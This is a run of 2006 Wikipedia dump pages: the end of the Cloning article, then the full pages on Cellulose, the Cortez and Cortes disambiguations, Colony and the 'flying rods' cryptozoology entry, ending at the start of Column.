However, the success rate has been very low: [[Dolly the sheep|Dolly]] was born after 276 failed attempts; 70 calves have been created from 9,000 attempts and one third of them died young; [[Prometea]] took 328 attempts, and, more recently, [[Paris Texas the horse|Paris Texas]] was created after 400 attempts.  Notably, although the first clones were frogs, no adult cloned frog has yet been produced from a somatic adult nucleus donor cell.

A surprising development to do with [[Senescence|aging]] resulted from finds that [[Dolly the sheep|Dolly]] was apparently subject to accelerated aging.  Aging of this type is thought to be due to [[telomere]]s, regions at the tips of [[chromosome]]s which prevent genetic threads fraying every time a [[cell division|cell divides]]. Over time telomeres get worn down until cell-division is no longer possible - this is thought to be a cause of aging. However, when researchers cloned cows they appeared to age more slowly than expected. Analysis of the cow's telomeres showed they had not only been 'reset' to birth-length, but they were actually longer - suggesting these clones would live longer life spans than normal cows (but many have died young after excessive growth). Researchers think that this could eventually be developed to reverse aging in humans, provided that this is based chiefly on shortening of telomeres.  Although some work has been performed on telomeres and aging in nuclear transfer clones, the evidence is contradictory and does not support any generalizable link.
Dolly died in the year of 2003.

[[Therapeutic cloning]] is the procedure for creating stem cells genetically compatible with the patient. Therapeutic cloning might provide a way to grow organs in host carrier, which become completely compatible with the original. Host carrier growing poses a risk of trans-species diseases if the host is of a different species (e.g. a pig.) In human beings, this is a highly controversial issue, as it involves creating human embryos in vitro and then destroying them to obtain multipotent embryonic stem cells.

==Human cloning==
{{main|Human cloning}}
Human cloning is the creation of a [[genetics|genetically]] identical copy of an existing, or previously existing [[human]] or growing [[cloning|clone]]d [[biological tissue|tissue]] from that individual. The term is generally used to refer to ''artificial'' human cloning; human clones in the form of [[identical twin]]s are commonplace, with their cloning occurring during the natural process of reproduction.

==Cloning extinct species==
Cloning, or more precisely, the reconstruction of functional DNA from extinct species has, for decades, been a dream of some scientists.  The possible implications of this were dramatized in the novel by [[Michael Crichton]] and  high budget Hollywood thriller, &quot;[[Jurassic Park]]&quot;.   In real life, one of the most anticipated targets for cloning was once the [[Woolly mammoth]], but attempts to extract DNA from frozen mammoths have been unsuccessful, though a Japanese team is currently working toward this goal.

In [[2000]], a cow named Bessie gave birth to a cloned Asian [[gaur]], an endangered species, but the calf died after 2 days; the attempt to clone a [[banteng]] was more successful and provided hope that similar techniques (using surrogate mothers of another species) might be used to clone extinct species; in anticipation of this possibility, the last ''bucardo'', a [[Pyrenean ibex]], was frozen immediately after it died (from illness after birth). Researchers are also considering cloning endangered species such as the giant panda, ocelot, and cheetah[http://www.washingtonpost.com/wp-srv/aponline/20001008/aponline171938_000.htm]. See the discussion under &quot;[[Dolly_the_sheep#Legacy|Dolly]]&quot; for a discussion of the promises and limitations of this approach.

In [[2002]], geneticists at the Australian Museum announced that they had replicated DNA of the [[Thylacine]] (Tasmanian Tiger), extinct about 65 years previous, using [[polymerase chain reaction]] (PCR)[http://www.cnn.com/2002/WORLD/asiapcf/auspac/05/28/aust.thylacines/].  However, on [[February 15]] [[2005]] the museum announced that it was stopping the project after tests showed the specimens' DNA had been too badly degraded by the ([[ethanol]]) preservative.  Most recently, on [[May 15]] [[2005]], it was announced that the project would be revived, with new participation from researchers in New South Wales and Victoria.

One of the continuing obstacles in the attempt to clone extinct species is the need for nearly perfect DNA. Cloning from a single specimen could not create a viable breeding population in sexually reproducing animals. Furthermore, even if males and females could be cloned, the question would remain open if they would be viable at all in the absence of parents that teach or show them natural behavior. Essentially, even if cloning an extinct species would succeed - it must be considered that cloning still is an experimental technology that succeeds only by chance -, it is far more likely than not that any resulting animals, even if they were healthy, would be little more than curios or museum pieces. Most [[conservation biology|conservation biologists]] are rather vehemently opposed to cloning and consider it a smokescreen fit for generating headlines, but detrimental to conservation success, as funds needed to preserve habitat and wild populations threaten to be diverted to such cloning projects and eventually might even cause the extinction of species in a wild state; the rule-of-thumb in animal conservation is that conservation attempts in captivity are not to be undertaken on a standalone basis if it is still feasible to conserve habitat and viable wild populations. The banteng cloning project was an exception, as the animal cloned was a distinct genetic lineage and the value of preserving this piece of genetic diversity of an already inbred species outweighed the uncertainties.

==Dolly The Sheep==
[[Image:Dolly the sheep2-thumb.jpg|right|190px|thumb|Dolly and her first-born lamb, Bonnie]]
{{main|Dolly the Sheep}}
Dolly ([[5 July]] [[1996]] – [[14 February]] [[2003]]), an ewe, was the first mammal to have been successfully cloned from an adult cell. She was cloned at the Roslin Institute in Scotland and lived there until her death when she was 6. Her birth was announced on [[22 February]] [[1997]].

[[Ian Wilmut]] is the leader of the research team who created Dolly.

The name &quot;Dolly&quot; came from a suggestion by Jesse Haase who helped with her birth, in honour of Dolly Parton, because it was a mammary cell that was cloned. The technique that was made famous by her birth is somatic cell nuclear transfer, in which a non-reproductive cell containing a nucleus is placed in a de-nucleated ovum (which then develops into a fetus). When Dolly was cloned in 1996 from a cell taken from a six-year-old ewe, she became the centre of much controversy that still exists today.

On [[9 April]] [[2003]] her stuffed remains were placed at Edinburgh's Royal Museum, part of the National Museums of Scotland.



==Technical Hurdles==
Cloning is quite inefficient and usually there are over 600 to 1000 nuclear transfers before one is able to grow into a [[stem cell]]. This inefficiency is thought to be due to [[genetic imprinting]] in the cloned adult cell that interferes with the correct gene expression in the embryo. Even those animals that are successfully cloned are not as heathly as the original animal. For example, Dolly had arthritis and sign of premature aging.  ''see'' [[Methylation#Epigenetics|methylation]] and [[epigenetic]]

==Publications==

[http://www.liebertpub.com/publication.aspx?pub_id=9 Cloning and Stem Cells], published by Mary Ann Liebert, Inc., publishes peer-reviewed research papers on the remarkable new opportunities in medicine, biology, and agriculture that arise from the demonstration of far greater than expected developmental plasticity in mammalian cells. Papers cover all aspects of cloning along with the culture and differentiation of stem cells from all stages of development from embryo to adult.

==Cloning in fiction== 
Cloning has been widely explored in science-fiction.
*''[[Sleeper (movie)|Sleeper]]'' (1973). [[Woody Allen]]'s comedic exploration of a [[Dystopia|dystopic]] future includes an attempt to resurrect an assassinated dictator by cloning him from the only surviving body part, namely his nose.
*''[[Star Wars Episode II: Attack of the Clones]]'' (2002) and ''[[Star Wars Episode III: Revenge of the Sith]](2005)'', two of the sequels in the George Lucas' [[film]] series. A species called [[List of Star Wars races#Kaminoan|Kaminoans]] use an accelerated cloning technique to create an [[Grand Army of the Republic (Star Wars)|army]] of over a million [[human (Star Wars)|human]] soldiers that participate in a galaxy-wide conflict known as the [[Clone Wars]].
*''[[Parts: The Clonus Horror]]'' (1979). A science fiction film about an isolated community in a remote desert area, where clones are bred to serve as a source of replacement organs for the wealthy and powerful.
*''[[The Boys from Brazil]]'', [[novel]] (1976) and film adaptation (1978). Nazi Dr. Josef Mengele clones children from [[Adolf Hitler]]’s DNA in Paraguay.
*''[[Brave New World]]'' (1932). An allegorical novel of social commentary. People do not [[sexual reproduction|reproduce sexually]], but are cloned by [[embryo]] splitting, the way monozygotic [[twin#Identical twins|(”identical”) twins]] actually occur, and the lower castes are [[Chemistry|chemically]] stunted. Describes the impact of an extrinsic noble Savage on a regulated and [[sedative|tranquilized]] World State.
*''[[The 6th Day]]'' (2000). A film whose main themes are clones (e.g., the protagonist), and branching ethical cloning problems.
*''[[The Island (2005 film)|The Island]]'' (2005). A film about the ethics of cloning. Follows the story of clones grown in a secret complex for the sole purpose of harvesting their [[organ (anatomy)|organs]] for use as replacements in the originals, while they believe they are living independent, purposeful lives.
*''[[Jurassic Park]]'', novel (1990) and film (1993) by [[Michael Crichton]]. Vacation island populated with [[dinosaur]]s cloned using DNA from [[blood]] sucked by [[fossil]]ized, prehistoric [[insect]]s. Initially only [[female]]s, they learn to [[biological reproduction|reproduce]]. The enclosure fails and [[disaster]] ensues.
*''[[The House of the Scorpion]]'', Nancy farmer (2002). Young adult novel following the life of Matteo Alacran, a cloned young man who goes through a normal life, but soon finds out about his origin.
*''[[Metal Gear Solid]]'' A man believed to be the best soldier of the 21th century, is cloned while comatosed.
*''The Clone'' (year?) by [[H. G. Wells|H.G. Wells]], the [[historian]] and novelist who, along with the equally prescient [[Jules Verne]], established the [[science fiction]] genre at the end of the [[19th century]]. 
* ''Cloning'', [[User:David Shear|David Shear]] (1972). Novel about a scientist who discovers he is a clone. His mind and body are taken over by the psyche of a genetic twin he never knew. Describes cloning by [[cell nucleus|nuclear]] transfer, [[gene therapy]], and growing replacement organs. Explicates the [[abortion]] debate and the criterion for [[death]].
*''[[Godsend]]''
*''[[Gattaca]]'' (1997). Movie about the struggles of a man not [[genetic engineering|genetically engineered]], in a world where people produced by sexual union are considered unworthy of good [[profession]]s. The letters in the name are [[Adenine|A]], [[Thymine|T]], [[Guanine|G]], and [[Cytosine|C]], the elements of the [[genetic code]] in [[DNA]].
*''[[Never Let Me Go]]'' (2005). by [[Kazuo Ishiguro]] details a world where clones are raised away from the [[public]] to provide [[organ (anatomy)|organs]] for [[organ donation]].
*The [[Vorkosigan Saga]] by [[Lois McMaster Bujold]] has as a significant plot thread the cloning industry of the planet Jackson's Whole and the use of clones as spare bodies into which the brains of rich, elderly customers are transferred.
*In the episode of [[South Park]] titled [[An Elephant Makes Love to a Pig]], Dr. Mephisto creates an clone of [[Stan Marsh|Stan]], which turns out deformed and destructive.

==End Notes==
#{{Note|Wasmannia}}&quot;[http://www.newscientist.com/channel/life/mg18625065.600 Bizarre stand-off in battle of the sexes]&quot; ''[[New Scientist]],'' [[July 2]] [[2005]]

==External links and references==
*[http://www.stemcellsclub.com/ Stem Cells &amp; Cloning Club (SCCC) - online community dedicated to the provision and discussion of information related to stem cell, cloning and cell therapy research; news, articles, interviews, business, discussion and more...].
*[http://www.reproductivecloning.net The Reproductive Cloning Network] Cloning articles, resources and links
*[http://gslc.genetics.utah.edu/units/cloning/ Cloning in Focus], an accessible and comprehensive look at cloning research from the University of Utah's Genetic Science Learning Center
*[http://gslc.genetics.utah.edu/units/cloning/clickandclone/ Click and Clone]. Try it yourself in the virtual mouse cloning laboratory, from the University of Utah's Genetic Science Learning Center
*[http://news.bbc.co.uk/2/hi/science/nature/3548210.stm Cloned Cats in Texas]
*[http://www.genomenewsnetwork.org/categories/index/cloning.php Cloning News from Genome News Network (GNN)]
*[http://www.roslin.ac.uk/public/cloning.html Discussion of cloning from the Roslin Institute] - creators of [[Dolly the sheep]]
*[http://edition.cnn.com/interactive/health/0108/cloning.timeline/content.html Cloning timeline]: from [[CNN]]
*[http://education.guardian.co.uk/higher/research/story/0,9865,1280916,00.html Green Light to Cloning in Britain]
*[http://www.jpgmonline.com/article.asp?issn=0022-3859;year=2003;volume=49;issue=1;spage=3;epage=4;aulast=Rajgopal To clone or not to clone] Article from Journal of Postgraduate Medicine
*[http://samvak.tripod.com/cloning.html Cultural and social considerations in therapeutic and reproductive cloning]
*[http://www.gene-watch.org Council for Responsible Genetics]
*[http://www.epigenome-noe.net/ Epigenome NoE]
*[http://hcs.harvard.edu/stemcell Harvard College Stem Cell Society]

&lt;!-- Categorization --&gt;
[[Category:Cloning]]
[[Category:Molecular biology]]


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[[zh:&amp;#20811;&amp;#38534;]]</text>
    </revision>
  </page>
  <page>
    <title>Cellulose</title>
    <id>6911</id>
    <revision>
      <id>41800888</id>
      <timestamp>2006-03-01T21:08:17Z</timestamp>
      <contributor>
        <ip>24.188.170.54</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Cellulose'''
([[carbon|C]]&lt;sub&gt;6&lt;/sub&gt;[[hydrogen|H]]&lt;sub&gt;10&lt;/sub&gt;[[oxygen|O]]&lt;sub&gt;5&lt;/sub&gt;)&lt;sub&gt;n&lt;/sub&gt;
is a long-chain [[polymer]] [[polysaccharide]] [[carbohydrate]], of [[glucose|beta-glucose]]. It forms the primary structural component of [[plant]]s and is not [[digestion|digestible]] by [[human]]s. furthermore, it is only present in primary cell walls, and does not make up the secondary cell wall, of which is made of lignin.

==History and Applications==
Cellulose is a common material in plant [[cell wall]]s and was first noted as such in [[1838]]. It occurs naturally in almost pure form only in [[cotton]] fiber; in combination with [[lignin]] and any [[hemicellulose]], it is found in all plant material. Cellulose is the most abundant form of living terrestrial biomass {{ref_harvard|Crawford|R.L. Crawford 1981|a}}. Cellulose, especially [[cotton linter]]s, is used in the manufacture of [[nitrocellulose]], historically used in [[smokeless_powder|smokeless gunpowder]].

Some animals, particularly [[ruminant]]s and [[termite]]s, can digest cellulose with the help of [[symbiosis|symbiotic]] micro-organisms - see [[methanogen]].

Cellulose is processed to make [[cellophane]] and [[rayon]], and more recently [[Modal (textile)|Modal]], a textile derived from beechwood cellulose.

Cellulose is also used within the laboratory as a solid-state substrate for [[Chromatography|thin layer chromatography]].

Cellulose is the major constituent of [[paper]].

==Chemistry==
Cellulose [[monomer]]s (beta-glucose) are linked together through 1,4 [[glycosidic bond]]s by condensation. Cellulose is a straight chain (no coiling occurs). In ''microfibrils'', the multiple hydroxide groups [[hydrogen bond]] with each other, holding the chains firmly together and contributing to their high tensile strength. This strength is important in cell walls, where they are meshed into a carbohydrate ''matrix'', helping keep plants rigid.

Given a cellulose material, the portion that does not dissolve in a 17.5% solution of sodium hydroxide at 20 &amp;deg;C is ''Alpha Cellulose'', which is true cellulose; the portion that dissolves and then precipitates upon acidification is ''Beta Cellulose'', and the proportion that dissolves but does not precipitate is ''Gamma Cellulose''.

Cellulose can be assayed using a method described by Updegraff in [[1969]], where the fiber is dissolved in [[acetic acid|acetic]] and [[nitric acid]], and allowed to react with [[anthrone]] in [[sulfuric acid]].  The resulting coloured compound is assayed spectrophotometrically at a wavelength of approximately 635 [[1 E-9 m|nm]].


==Derivatives==

The [[hydroxyl]] groups of cellulose can be partially or fully reacted with various chemicals to provide derivates with useful properties.  They have the general formula Cellulose-O-R where the oxygen can be any of the cellulose hydroxyls. Cellulose [[Ester|esters]] and cellulose [[Ether|ether]]s are the most important commercial materials.  In principle, though not always in current industrial practice, the cellulosic polymers are renewable resources.

Among the esters are [[cellulose acetate]] and [[triacetate]], which are film and fiber forming materials that find a variety of uses.  The inorganic ester [[nitrocellulose]] was initially used as an explosive and was an early film forming material.

Ether derivatives include
* Ethylcellulose, a water-insoluble commercial thermoplastic used in coatings, inks, binders, and controlled-release drug tablets.
* [[hydroxypropyl cellulose]]
* [[carboxymethyl cellulose]]
* Hydroxypropyl methyl cellulose, [[E number|E464]], used as a viscosity modifier, gelling agent, foaming agent and binding agent.
* Hydroxyethyl methyl cellulose, used in production of cellulose films

==References==
* {{cite book
 | author=Crawford, R. L.
 | title=Lignin biodegradation and transformation
 | publisher=John Wiley and Sons
 | location = New York
 | year=1981
 | id=ISBN 0471057436
 }}
* {{cite journal
 | author=Updegraff DM
 | title=Semimicro determination of cellulose in biological materials
 | journal=Analytical Biochemistry
 | year=1969 | volume=32 | pages=420–424
 }}

==See also==
* [[Cellulase]]

* [[Microcrystalline cellulose]]

==External links==
* [http://www.lsbu.ac.uk/water/hycel.html LSBU cellulose page]
* [http://msa.ars.usda.gov/la/srrc/fb/ca.html Clear description of a cellulose assay method] at the Cotton Fiber Biosciences unit of the [[United States Department of Agriculture|USDA]].
* [http://www.sunopta.com/bioprocess/default.htm Cellulose Ethanol Production - First commercial plant]

[[Category:Polysaccharides]]
[[Category:Cellulose derivates| ]]

[[ar:سيليولوز]]
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  <page>
    <title>Cortez</title>
    <id>6913</id>
    <revision>
      <id>42124430</id>
      <timestamp>2006-03-03T23:57:42Z</timestamp>
      <contributor>
        <username>Pagrashtak</username>
        <id>304316</id>
      </contributor>
      <comment>Rm extra links, link fix</comment>
      <text xml:space="preserve">The name '''Cortez''' may refer to:
* [[Hernán Cortés]], conquistador who conquered Mexico for Spain
* Cortez, alias of Trance music duo [[Agnelli &amp; Nelson]]
* [[Sergeant Cortez]], protagonist of the ''TimeSplitters'' video game series
* [[Characters in Paper Mario: The Thousand-Year Door#Cortez the Pirate King|Cortez the Pirate King]] from ''Paper Mario: The Thousand-Year Door''
* [[Jayne Cortez]], an African-American poet
* [[Cortez, Colorado]], a city and county seat of Montezuma County, Colorado

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Cortes</title>
    <id>6914</id>
    <revision>
      <id>38997188</id>
      <timestamp>2006-02-10T00:50:52Z</timestamp>
      <contributor>
        <username>Kevin Ryde</username>
        <id>564285</id>
      </contributor>
      <comment>revise a bit per [[MOS:DP]]: don't pipe, don't link non-targets, put targets at start of entries</comment>
      <text xml:space="preserve">* [[Cortes Generales]] (&quot;General Courts&quot;), usually just ''las Cortes'', national legislative assembly of Spain
* The term ''Cortes'' is also used for the historic assembly of the [[three estates]] of [[Portugal]], and for the subnational parliaments of several of Spain's [[Autonomous communities of Spain|autonomous communities]] and various bodies from [[History of Spain|Spanish history]].
* [[Cortes, Navarre]], village in the South border of Navarre
* [[Cortés department]], in Honduras
* [[Hernán Cortés]], 16th century Spanish conquistador
* [[Corte (disambiguation)]], for the judicial bodies of the Spanish-speaking Americas, and the communes in France and Italy
* [[Cortes, Bohol]], municipality in the Philippines
* [[Cortes, Surigao del Sur]], municipality in the Philippines

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  </page>
  <page>
    <title>Colony</title>
    <id>6916</id>
    <revision>
      <id>42012349</id>
      <timestamp>2006-03-03T05:20:50Z</timestamp>
      <contributor>
        <username>Bookofjude</username>
        <id>94969</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.251.152.54|24.251.152.54]] to last version by J'raxis</comment>
      <text xml:space="preserve">{{otheruses}}

In [[politics]] and in [[history]], a '''colony''' is a [[territory]] under the immediate political [[subjugation|control]] of a geographically-distant [[state]]. For [[colonies in antiquity]], [[city-state]]s would often found their own colonies. Some colonies were historically separate countries, while others were territories without definite [[statehood]] at the moment of [[colonization]]. The  '''metropolitan state''' is the state that owns the colony. In [[Ancient Greece]], the city that owned a colony was called the '''metropolis''' within its political organization.  '''Mother country''' is the term used to refer to the metropolitan state by its citizens that live in a colony. Today, the terms [[overseas territory]] or [[dependent territory]] are preferred. There is a [[United Nations list of Non-Self-Governing Territories]].

People who migrated to settle permanently in colonies controlled by their country of origin were called ''colonists'' or [[Settler (disambiguation)|settlers]]. 

A colony differs from a [[puppet state]] or [[satellite state]] in that a colony has no independent international representation and the top-level administration of a colony is under direct control of the metropolitan state.

The term &quot;informal colony&quot; is used by some historians to describe a country which is under the ''de facto'' control of another state, although this description is often contentious.

==Definitions==
In the modern usage, ''colony'' is generally distinguished from ''oversea possession''. In the former case, the local population, or at least the part of it not coming from the &quot;metropolitan&quot; (controlling) country, does not enjoy full citizenship rights. The political process is generally restricted, especially excluding questions of independence. In this case, there are [[settler]]s from a dominating foreign country, or countries, and often the property of [[indigenous people]]s is seized, to provide the settlers with land. Foreign mores, religions and/or legal systems are imposed. In some cases, the local population is held for [[unfree labour]], is submitted to brutal force, or even to policies of [[genocide]].

By contrast, in the case of overseas possessions, citizens are ''formally'' equal, regardless of origin and it is possible for legal independence movements to form; should they gain a majority in the oversea possession, the question of independence may be brought, for instance, to referendum. However, in some cases, settlers have come to outnumber indigenous people in overseas possessions, and it is possible for colonies to become overseas possessions, against the wishes of indigenous peoples. This often results in ongoing and long-lasting independence struggles by the descendants of the original inhabitants.

''Colony'' may also be used for countries that, while independent or considering themselves independent of a former colonizing power, still have a political and social structure where the rulers are a minority originating from the colonizing power. Such was the case with [[Rhodesia]] after the [[Unilateral Declaration of Independence]].

The term [[informal colony]] has also been used in relation to countries which, while they have never been conquered by force or ''officially'' ruled by a foreign power, have a clearly subordinate social or economic relationship to that power.

==History==
[[Image:Colonization 1945.png|400px|thumb|Colonization and imperialism in [[World War II]] (1945)]]
Originally, as with the [[Hellenic civilization|ancient (Hellenic) Greek]] ''[[apoikia]]'', the term ''colonization'' referred to the foundation of a new city or settlement, more often than not with nonviolent means (but see for instance the Athenian re-colonisation of [[Melos]] after wiping out the earlier settlement). The term '''''colony''''' is derived from the [[Latin]] '''''colonia''''', which indicated a place meant for [[agriculture|agricultural]] activities; these Roman colonies and others like them were in fact usually either conquered so as to be inhabited by these workers, or else established as a cheap way of securing conquests made for other reasons. The name of the [[Germany|German]] city [[Cologne]] also derives from ''colonia''. In the modern era, communities founded by colonists or [[settler]]s became known as ''settler colonies''.

The &quot;age of [[imperialism]]&quot; began in the [[15th century]] with the initiation of the vast [[Portuguese Empire]] and also the [[Spanish Empire]] in the Americas and lasted until the mid-[[20th century]] with the dismantling of the [[British Empire]].  During these centuries [[Europe]]an states, the [[United States]] and others took political control of much of the world's population and landmass. The term &quot;colony&quot; came to mean an overseas district with a majority [[indigenous people|indigenous]] population, administered by a distant colonial government. (Exceptions occurred: [[Russia|Russian]] colonies in [[Central Asia]] and [[Siberia]], American settlements in the [[American West]], and German colonies in [[Eastern Europe]] were not &quot;overseas&quot;; British colonies (or &quot;overseas territories&quot;) like the [[Falkland Islands]] and [[Tristan da Cunha]] lacked a native population.) Most non-European countries were colonies of Europe at one time or another, or were handled in a quasi-colonial manner. The European colonies and former colonies in America made extensive use of [[slavery|slave labor]], initially using the native population, then through the importation of slaves from black Africa.

The [[Spain|Spanish]] colonial empire once encompassed all of South and Central America except for Brazil, with few exceptions; it crumbled starting in the early 19th century. After the Spanish and the Portuguese, the [[Dutch East India Company]] (VOC-1602) and later the [[Dutch West India Company]] (WIC) took over a lot of Portuguese possessions and expanded their large trade empire (See; [[Dutch colonial empire]]). In the [[19th century]], the largest European colonial empire was the British Empire under [[Victoria of the United Kingdom|Queen Victoria]], including [[India]]. France once held much of Western and Central Africa, along with Indochina.

There existed various statuses and modes of operation for foreign countries, direct control by the colonizing country being the most obvious. Some colonies were operated through corporations (the [[British East India Company]] for [[India]]; the [[Congo Free State]] under the very brutal rule of [[Léopold II of Belgium]]); some were run as [[protectorate]]s. Quasi-colonies were run through proxy or puppet governments, generally kingdoms or dictatorships. For instance, it may be argued that [[Cuba]] before the  Revolution was a quasi-colony of the United States, with an enormous influence of US economic and political interests; see [[banana republic]].

The United Kingdom used Australia as a [[penal colony]]: British convicts would be sent to forced labor there, with the added benefit that the freed convicts would settle in the colony and thus augment the European population there. Similarly, France once deported prostitutes and various &quot;undesirables&quot; to populate its colonies in North America, and until the 20th century operated a penitentiary on [[Devil's Island]] in [[French Guiana]].

The [[independence]] of these colonies began with that of [[13 colonies]] of Britain that formed the [[United States]], finalised in [[1783]] with the conclusion of a war begun in [[1776]], and has continued until about the present time, with for example [[Algeria]] and [[East Timor]] being relinquished by European powers only in [[1962]] and [[1975]] respectively (although the latter was forcibly made an [[Indonesia|Indonesian]] possession instead of becoming fully independent). This process is called '''[[decolonization]]''', though the use of a single term obscures an important distinction between the process of the [[settler]] population breaking its links with the mother country while maintaining local political supremacy and that of the [[indigenous people|indigenous]] population reasserting themselves (possibly through the expulsion of the settler population).

The movement towards decolonization was not uniform, with more newer powers, sometimes themselves ex-colonies or once threatened by colonial power, trying to carve a colonial empire. The United States, itself a former colony, expanded westwards by waging brutal wars against the [[Native Americans in the United States|Native American]] population, including whole massacres of civilians, so as to make it possible for settlers to colonize the [[American West]]. It also colonized [[Hawaii]], and waged various wars and conduct armed expeditions so as to assert power over local governments   (in [[Japan]], with [[Commodore Perry]] and in [[Cuba]], for example). European countries and the United States, exploiting the weakness of China's waning imperial regime, also maintained so-called [[international concession]]s in that country, a sort of colonial [[enclave]]; the coastal towns of [[Macau]] and [[Hong Kong]] were held on long-term leases by [[Portugal]] and the [[United Kingdom]]. During the first half of the 20th century, until its defeat the [[World War II|Second World War]], Japan, once afraid of becoming a European or American colony, built itself a colonial empire in China, Korea and the Western Pacific, using brutal military force.

Under the [[Geneva Conventions]] of [[1949]], it is  a war crime to transfer, directly or indirectly, the civilian population of a country power onto land under that country's military occupation. The reasoning for this crime is apparently to emphasise that it is now a violation of international law to annex territory through military force.  This phrase describes many of acts of [[colonisation]] in the past, and arguably outlaws colonisation. 

See also: [[British Empire]], [[Portuguese Empire]], [[Spanish Empire]], [[French colonial empire]], [[Dutch colonial empire]], [[Colonialism]], [[Colonial mentality]],[[Colonization]], [[British Nationality Law]], [[Slavery]], [[Imperialism]], [[New Imperialism]], [[settler]]. 

Compare [[protectorate]], [[Crown colony]], [[dominion]], [[Proprietary colony]].

The Latin name ''colonia'' also became the name of several towns, the most famous of which is [[Cologne]].

==Colonies in ancient civilizations (examples)==
* [[Assyria]] was originally a colony of [[Babylonia]]
* [[Carthage]] was a [[Phoenicia]]n colony
* [[Cyrene, Libya|Cyrene]] was a colony of the Greeks of [[Thera]]
* [[Naples]] formed as a Greek colony
* [[Durrës]] formed as a Greek colony

==Modern colonies (examples)==
*[[India]] was under the direct control of the [[United Kingdom]] until [[1947]]. ''See also [[Crown colony]].''
*[[Korea]] was a colony of [[Japan]] 
*The [[Philippines]], previously a colony of Spain (via Mexico), was a colony of the [[United States]] from [[1898]] to [[1946]]

Today, none of the colonizing European and North American powers hold colonies in the traditional sense of the term. Some of their former colonies have been integrated as [[dependent area]]s or have closer integration with the country.

==Current colonies (examples)==
*[[Gibraltar]]  has been a colonial possession of the [[British]] since [[1713]].
* [[Puerto Rico]]'s relationship to the [[United States]] is considered by some to be colonial, since citizens are subject to laws passed by [[congress]] without their consent. This view is shared by many supporters of [[independence]] and [[statehood]] for the island, as well as by some supporters of current [[commonwealth]] status. However, other [[Puerto Ricans]] do not agree with this perception.

==See also==
*[[List of Colonial Territories by country]]

[[Category:Colonialism]]

[[bg:Колония]]
[[zh-min-nan:Si̍t-bîn-tē]]
[[ca:Colonització]]
[[da:Koloni (magtområde)]]
[[de:Kolonie]]
[[es:Colonia administrativa]]
[[eo:Kolonio]]
[[fr:Colonie (peuplement)]]
[[ko:식민지]]
[[is:Nýlenda]]
[[it:Colonia (insediamento)]]
[[he:קולוניה]]
[[nl:Kolonie (staatkundig)]]
[[ja:植民地]]
[[no:Koloni]]
[[nn:Koloni]]
[[pl:Kolonia (geografia polityczna)]]
[[pt:Colónia (história)]]
[[ru:Колония]]
[[sv:Koloni]]
[[tr:Koloni]]
[[zh:殖民地]]</text>
    </revision>
  </page>
  <page>
    <title>Rod (cryptozoology)</title>
    <id>6918</id>
    <revision>
      <id>39204147</id>
      <timestamp>2006-02-11T13:38:47Z</timestamp>
      <contributor>
        <username>Tsca.bot</username>
        <id>601940</id>
      </contributor>
      <minor />
      <comment>robot  adding: pl</comment>
      <text xml:space="preserve">'''Rods''', a rather new entry in the field of [[Cryptozoology]], are creatures said to flit about in the air at such a high speed as to not be seen by the naked eye. Almost all sightings of rods are based on [[video]] evidence. 

==Description==
Rods gain their name from their rodlike shape. However, they have also been called &quot;skyfish&quot; and &quot;solar entities&quot;. They appear to be anywhere from 5 inches to 3 feet in length (about 15 to 90 cm), and is thought to have a thin [[membrane]] across their axis that is used for propulsion through the air. Their behavior as captured on film leads studiers of the phenomenon to posit they are a kind of &quot;air-fish&quot;, moving in a similar fashion to fish in water, and having a body like that of a [[jellyfish]].

==Theories==
Rods are not taken seriously even by most cryptozoologists, who tend to look on them as [[forteana]]. Much evidence points to the conclusion that they are mere [[Optical illusion|tricks of light]] that affect the camera eye.  In particular, the fast passage before the camera of an insect flapping its wings has been shown to produce rod-like effects, due to [[motion blur]]. Additional criticism points to the very speed of the film being physically unable to capture something that moves so fast. Their recent popularity seems to be a result of media exposure in television [[tabloid]]s. ''Jose Escamilla'', who runs the website [http://www.roswellrods.com RoswellRods.com], has appeared in numerous interviews and television &quot;investigations&quot;. 

==Flying Rod Mystery Solved==
In the early autumn of 2005, news bulletins in [[China]] and [[Hong Kong]] reported on a story which debunked the flying rods. Surveillance cameras in a research facility in Jilin supposedly captured video footage of flying rods identical to those shown in Jose Escamilla's video. The curious research staff of the facility, being scientists, decided that they would attempt to catch one. Huge nets were set up and the same surveillance cameras captured rods flying into the trap. When the nets were inspected, the &quot;rods&quot; were no more than regular moths and other flying insects.  Subsequent investigations proved that the appearance of flying rods on video was an optical illusion created by the slower recording speed of the camera (done to save video space). 

This discovery has, however, been quietly ignored by those in the business of &quot;researching&quot; the flying rod phenomenon, as their wealth and fame could obviously be shattered with such a revelation. The myth is thus allowed to persist. 

===Reproducing the &quot;Flying Rod&quot; Effect on Video===
First, find a place with lots of flying insects. Then set your digital [[camera]] (on video mode) or [[camcorder]] to its slowest exposure speed (1/60 second is the slowest speed for an [[NTSC]] camcorder).  Aim the camera to a fixed spot with insects flying left and right, and start recording. Lighting the target area with a light source will enhance the rod-like effect as light is reflected from the flying insect. The resulting video footage will have flying rod-like effects in place of the flying insects.

==Rods in fiction==
* There is an enemy in the video game [[Castlevania: Aria of Sorrow]] called Sky Fish, which normally appears in some places in the game as a white flash blitzing across the screen. The game itself also provides a Time-Stopper ability for the hero to actually see Sky Fish moving in slow-motion, and this is the only way to defeat it.

==External links==
* [http://www.opendb.com/sol/seq.htm Jose Escamilla's &quot;Rods&quot; Video Sequences (a very thorough debunking)]
* [http://www.straightdope.com/mailbag/mrodhoax.html ''Straight Dope'' report: What's up with &quot;rods,&quot; the mysterious insects that can be seen only on video?]
* [http://home.flash.net/~storyink/hotrods/hotrods.htm  Shannon L. Story's ''Rods: Facts or Fiction, You Decide'']
* [http://share-moment.com/passage/passage.aspx?userName=croc&amp;ID=17008 Scroll to the bottom of this page and click on the video link to watch a documentary produced by Zhejiang TV debunking the flying rod (in Chinese)] 

[[Category:Cryptids]]

[[ja:スカイフィッシュ]]
[[pl:Rods]]
[[fi:Ilmakala]]
[[zh:飛棍]]</text>
    </revision>
  </page>
  <page>
    <title>Column</title>
    <id>6920</id>
    <revision>
      <id>40276259</id>
      <timestamp>2006-02-19T12:42:34Z</timestamp>
      <contributor>
        <username>Tail</username>
        <id>64886</id>
      </contributor>
      <minor />
      <comment>+lv:</comment>
      <text xml:space="preserve">{{Otheruses}}

[[Image:Deconstructing a Roman_pillar.jpg|right|thumb|Deconstructing a Roman pillar.]]

